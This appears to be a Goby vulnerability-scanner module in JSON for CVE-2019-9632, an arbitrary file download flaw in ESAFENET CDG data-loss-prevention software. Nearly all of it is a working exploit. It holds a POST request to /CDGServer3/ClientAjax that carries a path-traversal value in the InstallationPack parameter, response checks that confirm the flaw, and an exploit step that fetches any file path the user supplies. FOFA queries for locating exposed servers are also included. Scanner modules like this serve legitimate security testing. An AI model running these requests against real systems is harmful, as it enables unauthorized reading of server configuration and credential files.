{
  "Name": "ESAFENET CDG arbitrary file download (CVE-2019-9632)",
  "Description": "ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.",
  "Product": "亿赛通DLP",
  "Homepage": "http://www.esafenet.com/",
  "DisclosureDate": "2019-03-04",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"亿赛通DLP\" || app=\"ESAFENET-DLP\" || app=\"亿赛通-DLP\"",
  "GobyQuery": "app=\"亿赛通DLP\" || app=\"ESAFENET-DLP\" || app=\"亿赛通-DLP\"",
  "Level": "1",
  "Impact": "\u003cp\u003e代码实现了将文件下载到客户端，但是没有对传入的参数进行过滤，造成可以下载服务器任何文件，产生任意文件下载漏洞。比如下载系统配置，数据库配置文件，可以导致黑客顺利进入数据库或者系统的敏感信息。导致网站或者服务器沦陷。\u003c/p\u003e",
  "Recommendation": "",
  "References": [
    "http://www.iwantacve.cn/index.php/archives/132/",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-9632",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9632"
  ],
  "HasExp": true,
  "ExpParams": [
	{
	  "name": "file",
	  "type": "select",
	  "value": "../WEB-INF/web.xml",
	  "show": ""
	}
  ],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
		  "Content-Type": "application/x-www-form-urlencoded"
        },
        "method": "POST",
        "uri": "/CDGServer3/ClientAjax"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "<servlet-name>CDGPermissions</servlet-name>",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
	"AND",
	{
		"Request": {
        "data": "command=downclientpak&InstallationPack={{{file}}}&forward=index.jsp",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
		  "Content-Type": "application/x-www-form-urlencoded"
        },
        "method": "POST",
        "uri": "/CDGServer3/ClientAjax"
      },
		"SetVariable": ["output|lastbody"]
	}
  ],
  "Tags": null,
  "CVEIDs": [
    "CVE-2019-9632"
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": ["ESAFENET-CDG"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}